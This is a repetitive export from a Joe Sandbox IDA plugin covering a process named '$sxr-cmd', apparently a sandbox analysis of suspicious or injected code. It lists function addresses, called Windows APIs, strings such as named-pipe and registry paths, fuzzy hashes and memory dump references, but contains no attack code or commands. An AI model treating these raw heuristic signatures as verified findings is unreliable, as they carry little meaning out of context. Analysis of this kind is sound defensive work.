Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$Process$Free$towupper$CurrentDirectoryEnvironmentFullNamePathStringsiswalpha
String ID:
API String ID: 3512109576-0
Opcode ID: bc717c9a596d532be53730772a57c2b9eba5803a0bc99b3bfc1eed86634cc025
Instruction ID: 58b50a72a6943644f5158010cc24a4095bcc590808ab1aef225aee4b926e0161
Opcode Fuzzy Hash: bc717c9a596d532be53730772a57c2b9eba5803a0bc99b3bfc1eed86634cc025
Instruction Fuzzy Hash: 4F215E66A09E82C6EB04DF79D4542B8BBA0EF59F65F188036CA0E87365DF3CA855C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FB6B0 Relevance: 6.1, APIs: 4, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6154FAF82), ref: 00007FF6154FB6D0
HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6154FAF82), ref: 00007FF6154FB6E7
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6154FAF82), ref: 00007FF6154FB701
HeapSize.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6154FAF82), ref: 00007FF6154FB715

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$Process$AllocSize
String ID:
API String ID: 2549470565-0
Opcode ID: 11430d80cb485e7b9ceb592bfe559dc550d55c3bb95ca86021ccd698df5acc4f
Instruction ID: 182083b5a275fbc0a34c72fab48760f6c382bb0be7b66b9d2d1f52aaabeeccf9
Opcode Fuzzy Hash: 11430d80cb485e7b9ceb592bfe559dc550d55c3bb95ca86021ccd698df5acc4f
Instruction Fuzzy Hash: 2D210E26A09F82C6EA548B19E450079F7A1FB8AFA4B499432DA4E83764DF3CED558700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551CFF0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF61550507A), ref: 00007FF61551D01C
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF61550507A), ref: 00007FF61551D033
FillConsoleOutputAttribute.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF61550507A), ref: 00007FF61551D06D
SetConsoleTextAttribute.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF61550507A), ref: 00007FF61551D07F

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Console$Attribute$BufferFillHandleInfoOutputScreenText
String ID:
API String ID: 1033415088-0
Opcode ID: 45059cb2ee047cb232d20320cf03883d9ebc73042b8c9a2b0d276472751f5675
Instruction ID: 1cdd1f3b29c598cb1349daefe1baa815fcf86587ca66a786985512f0f0d81b62
Opcode Fuzzy Hash: 45059cb2ee047cb232d20320cf03883d9ebc73042b8c9a2b0d276472751f5675
Instruction Fuzzy Hash: 83118236618E82C7DB449B20F05417AFBA0FB8AFA5F415135EA8E87B65EF3CD4458B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F59E4 Relevance: 6.0, APIs: 4, Instructions: 45fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF615501EA0: wcschr.MSVCRT ref: 00007FF615501EB3

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6154F5A2E
_open_osfhandle.MSVCRT ref: 00007FF6154F5A4F
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,00000000,00008000,?,00000001,00007FF6154F260D), ref: 00007FF6155137AA
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF6155137D2

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLast_open_osfhandlewcschr
String ID:
API String ID: 22757656-0
Opcode ID: 6f2d595de901b4657c2270727e019009ca61754dc2b8e6e3406c67fcea3533dc
Instruction ID: d43923821bb41a12e981f0c062b68fcb927e0f1caa819c6cbd9f0d76e83a91d6
Opcode Fuzzy Hash: 6f2d595de901b4657c2270727e019009ca61754dc2b8e6e3406c67fcea3533dc
Instruction Fuzzy Hash: DF116075A18A4587E7104B28E44837DBAA0FB8AF74F654734D62E873E1CF3CD9498B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615515690 Relevance: 6.0, APIs: 4, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000028,00007FF615515433,?,?,?,00007FF6155169B8,?,?,?,?,?,00007FF615508C39), ref: 00007FF6155156C5
RtlFreeHeap.NTDLL(?,?,00000028,00007FF615515433,?,?,?,00007FF6155169B8,?,?,?,?,?,00007FF615508C39), ref: 00007FF6155156D9
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000028,00007FF615515433,?,?,?,00007FF6155169B8,?,?,?,?,?,00007FF615508C39), ref: 00007FF6155156FD
RtlFreeHeap.NTDLL(?,?,00000028,00007FF615515433,?,?,?,00007FF6155169B8,?,?,?,?,?,00007FF615508C39), ref: 00007FF615515711

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 3558426be91c37f0606525c683e3d483ead9a8c3dc25e426f1ffeaf0c5774795
Instruction ID: d6b292ecac321ace070e2fe02caa6d5a2ff79ba2f95b5dbbe4cd3bd0e6109084
Opcode Fuzzy Hash: 3558426be91c37f0606525c683e3d483ead9a8c3dc25e426f1ffeaf0c5774795
Instruction Fuzzy Hash: 23112576A04F81C6EB008F66E4440A8BBB0FB89F94B4D8125DB4E43728DF38E956C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615509158 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00007FF615509163
RtlLookupFunctionEntry.NTDLL ref: 00007FF615509182
RtlVirtualUnwind.NTDLL ref: 00007FF6155091CF
__raise_securityfailure.LIBCMT ref: 00007FF615509245

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: c08ae526ada62f987d461bd82afd9432e1c3bf21ef9f50b7bdd1a09949af37b2
Instruction ID: 4c3c7a3898737e81a2c7288e9e0c0ca6872fa635fff08deb29c0b13ba3f8e8df
Opcode Fuzzy Hash: c08ae526ada62f987d461bd82afd9432e1c3bf21ef9f50b7bdd1a09949af37b2
Instruction Fuzzy Hash: 40217E3AA19F45C5E7408B64E884369B7B4FB99FA4F600136DA8D82774DF7DE846CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551F22C Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF61551F235
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF61551F249
_get_osfhandle.MSVCRT ref: 00007FF61551F263
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF61551F276

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: ConsoleMode_get_osfhandle
String ID:
API String ID: 1606018815-0
Opcode ID: 422b38324ae02b1855cf7ad64e97296a8d78d568ed733181d0d72e350d9743d9
Instruction ID: 4f8d89fbe299c5eb11983ee3a987614c2acdd9ce5f34cdeee5ed707d9e466925
Opcode Fuzzy Hash: 422b38324ae02b1855cf7ad64e97296a8d78d568ed733181d0d72e350d9743d9
Instruction Fuzzy Hash: 6BF01C39A24E42CBD7045B20E844179FA60FF8AF22F859274DA0F423A5DF3CD8088B40

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B622744 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000020D0B622828
StrCpyW.SHLWAPI ref: 0000020D0B622841

Strings

\\.\pipe\, xrefs: 0000020D0B622833

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ca8ddeb7ac59d6e709c177a04970a920754aa102293d40bded593f37500a9fba
Instruction ID: 50df859e975970b90aadef6dc6e50906d93e1a52c7626bcce2e3e585afbcb2f6
Opcode Fuzzy Hash: ca8ddeb7ac59d6e709c177a04970a920754aa102293d40bded593f37500a9fba
Instruction Fuzzy Hash: 8C71E53260AB8446F7249FA6D95A3EE63B2F7857E4F800016DE4D4BB86EF36C504C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6155210D8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6154FCD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6154FB9A1,?,?,?,?,00007FF6154FD81A), ref: 00007FF6154FCDA6
Part of subcall function 00007FF6154FCD90: RtlAllocateHeap.NTDLL(?,?,?,00007FF6154FB9A1,?,?,?,?,00007FF6154FD81A), ref: 00007FF6154FCDBD

wcschr.MSVCRT ref: 00007FF6155211DC
memmove.MSVCRT(?,00000000,00000000,00000000,00000001,0000000A,?,00007FF61551827A), ref: 00007FF615521277

Strings

&()[]{}^=;!%'+,`~, xrefs: 00007FF6155211D5

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$AllocateProcessmemmovewcschr
String ID: &()[]{}^=;!%'+,`~
API String ID: 4220614737-381716982
Opcode ID: 889ed0e1ac931929da6aa725351c410d7e283b9244a42ae2ffb62b95a24414b6
Instruction ID: d7dfc8c3665e075938b1bad330367d409ee1bd68a0c36547ee939f81c0ac5e00
Opcode Fuzzy Hash: 889ed0e1ac931929da6aa725351c410d7e283b9244a42ae2ffb62b95a24414b6
Instruction Fuzzy Hash: 6E719579908A42C6D760CF66A48067AF7E5FB94FA9F505235DA4DC3BB4DF3CA8418B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FE420 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6155006C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6154FB4DB), ref: 00007FF6155006D6
Part of subcall function 00007FF6155006C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6154FB4DB), ref: 00007FF6155006F0
Part of subcall function 00007FF6155006C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6154FB4DB), ref: 00007FF61550074D
Part of subcall function 00007FF6155006C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6154FB4DB), ref: 00007FF615500762

Part of subcall function 00007FF6154FEF40: iswspace.MSVCRT ref: 00007FF6154FF000
Part of subcall function 00007FF6154FEF40: wcschr.MSVCRT ref: 00007FF6154FF031
Part of subcall function 00007FF6154FEF40: iswdigit.MSVCRT ref: 00007FF6154FF0D6

longjmp.MSVCRT ref: 00007FF61550CCBC
longjmp.MSVCRT(?,?,00000000,00007FF615501F69,?,?,?,?,?,?,?,00007FF6154F286E,00000000,00000000,00000000,00000000), ref: 00007FF61550CCE0

Strings

GeToken: (%x) '%s', xrefs: 00007FF61550CC39, 00007FF61550CCF2

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$AllocProcesslongjmp$iswdigitiswspacewcschr
String ID: GeToken: (%x) '%s'
API String ID: 3282654869-1994581435
Opcode ID: 69c34943887ae9b74dbb8ac009ab6e722a6e47999aa419ff77bc8c62eb614955
Instruction ID: c6ba8e2017261f1beabe7bd666a8d35fbe1633646802f46d63c57ff7b3301af3
Opcode Fuzzy Hash: 69c34943887ae9b74dbb8ac009ab6e722a6e47999aa419ff77bc8c62eb614955
Instruction Fuzzy Hash: CC61F025A09F428AFAA48B69D454179E391AF41FB9F544536CA1DCBBF1EF3CEC608300

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B622530 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000020D0B622617
StrCpyW.SHLWAPI ref: 0000020D0B62262E

Strings

\\.\pipe\, xrefs: 0000020D0B622622

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 7663802d97220815dd834e17801c2a4e2bb3ef89d9d316510f4c5ee1515461d8
Instruction ID: ea8f37d4f2e69e4cf408ee4398304f8d510f4e60f6cbb5d230eabb9dcd856170
Opcode Fuzzy Hash: 7663802d97220815dd834e17801c2a4e2bb3ef89d9d316510f4c5ee1515461d8
Instruction Fuzzy Hash: 2951D82260EBC143F6749FA9A16C7AA6773F7957A0F840025DD8D0BB5BEA3BC5448B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6155208EC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00007FF6155209BC
wcsncmp.MSVCRT ref: 00007FF6155209F5

Strings

0123456789, xrefs: 00007FF6155208FE

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memmovewcsncmp
String ID: 0123456789
API String ID: 3879766669-2793719750
Opcode ID: b6d2eb98a78dae28402b6106fc772dbd77ca9a03dc6c88e297d1125e4b884182
Instruction ID: f225a7486ceee327386fb5faaf78832d9ede47b5b4c4317ae672d23414c119f6
Opcode Fuzzy Hash: b6d2eb98a78dae28402b6106fc772dbd77ca9a03dc6c88e297d1125e4b884182
Instruction Fuzzy Hash: BB41C626F1AB86C5EA658F3594006BAA3A5FB44FA0F545131DE4E877B4DF3CD8458340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615519784 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF6155197D0

Part of subcall function 00007FF6154FD3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154FD46E
Part of subcall function 00007FF6154FD3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154FD485
Part of subcall function 00007FF6154FD3F0: wcschr.MSVCRT ref: 00007FF6154FD4EE
Part of subcall function 00007FF6154FD3F0: iswspace.MSVCRT ref: 00007FF6154FD54D
Part of subcall function 00007FF6154FD3F0: wcschr.MSVCRT ref: 00007FF6154FD569
Part of subcall function 00007FF6154FD3F0: wcschr.MSVCRT ref: 00007FF6154FD58C

RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF6155198D7

Strings

Software\Classes, xrefs: 00007FF6155197C2

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: wcschr$Heap$AllocCloseOpenProcessiswspace
String ID: Software\Classes
API String ID: 2714550308-1656466771
Opcode ID: eb7f4015b54f8209f821cd25b29d275aeb821b067b2f4fde3e660eb3c9d82795
Instruction ID: b57c6ed30204de3e7f75f5b5c36d53253a78d46cac7dae61aad13bdc36b48c57
Opcode Fuzzy Hash: eb7f4015b54f8209f821cd25b29d275aeb821b067b2f4fde3e660eb3c9d82795
Instruction Fuzzy Hash: 41418C2AA09F5291EA009F1AD484479A7B4FB85FE0F508131DA5E877F5EF39EC52C340

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B6306A4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 0000020D0B6307BB
GetLastError.KERNEL32 ref: 0000020D0B6307DD

Strings

U, xrefs: 0000020D0B630767

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 33761665e30f7191252d6346bfc4364073660ee169ab4516afdd483d80f04c27
Instruction ID: 8aca5d7f2e365e4ffb6e3447257a1ac7fa74675a29182e0eaa1e3f42eaca5367
Opcode Fuzzy Hash: 33761665e30f7191252d6346bfc4364073660ee169ab4516afdd483d80f04c27
Instruction Fuzzy Hash: 0141D93271AB4491EB20CF65E8483AA77B1F798BA4F804121EE4D8B799EB3DC545CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551A0B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF61551A0FC

Part of subcall function 00007FF6154FD3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154FD46E
Part of subcall function 00007FF6154FD3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154FD485
Part of subcall function 00007FF6154FD3F0: wcschr.MSVCRT ref: 00007FF6154FD4EE
Part of subcall function 00007FF6154FD3F0: iswspace.MSVCRT ref: 00007FF6154FD54D
Part of subcall function 00007FF6154FD3F0: wcschr.MSVCRT ref: 00007FF6154FD569
Part of subcall function 00007FF6154FD3F0: wcschr.MSVCRT ref: 00007FF6154FD58C

RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF61551A1FB

Strings

Software\Classes, xrefs: 00007FF61551A0EE

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: wcschr$Heap$AllocCloseOpenProcessiswspace
String ID: Software\Classes
API String ID: 2714550308-1656466771
Opcode ID: 8d4a83688f0bdb6c4652951bc114003fef2692198ab2fb548b80d57547a1bced
Instruction ID: bb20722f6665759e941928dc67eae8f78d4749de80b7f675861ba86c04b3ecfa
Opcode Fuzzy Hash: 8d4a83688f0bdb6c4652951bc114003fef2692198ab2fb548b80d57547a1bced
Instruction Fuzzy Hash: E2419F26A09F5281EA01DB1AD484439A7B4FB85FE0F908131DA5E837B5DF79EC92C380

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FCAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF61550C736
SetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF61550C7E0

Strings

- , xrefs: 00007FF61550C7A6

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

